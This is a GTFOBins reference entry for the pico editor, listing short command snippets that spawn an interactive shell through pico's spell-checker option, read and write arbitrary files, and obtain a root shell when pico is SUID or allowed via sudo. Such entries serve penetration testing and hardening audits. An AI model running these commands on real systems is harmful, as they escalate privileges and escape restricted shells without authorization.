GTFOBins.github.io/_gtfobins/pico.md
2018-09-06 21:36:20 +02:00

32 lines
587 B
Markdown

---
functions:
execute-interactive:
- code: |
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
pico -s $TF /etc/hosts
^T
file-write:
- code: |
pico file_to_write
DATA
^O
file-read:
- code: pico file_to_read
suid-enabled:
- code: |
TF=$(mktemp)
echo 'exec sh -p' > $TF
chmod +x $TF
./pico -s $TF /etc/hosts
^T
sudo-enabled:
- code: |
TF=$(mktemp)
echo 'exec sh' > $TF
chmod +x $TF
sudo pico -s $TF /etc/hosts
^T
---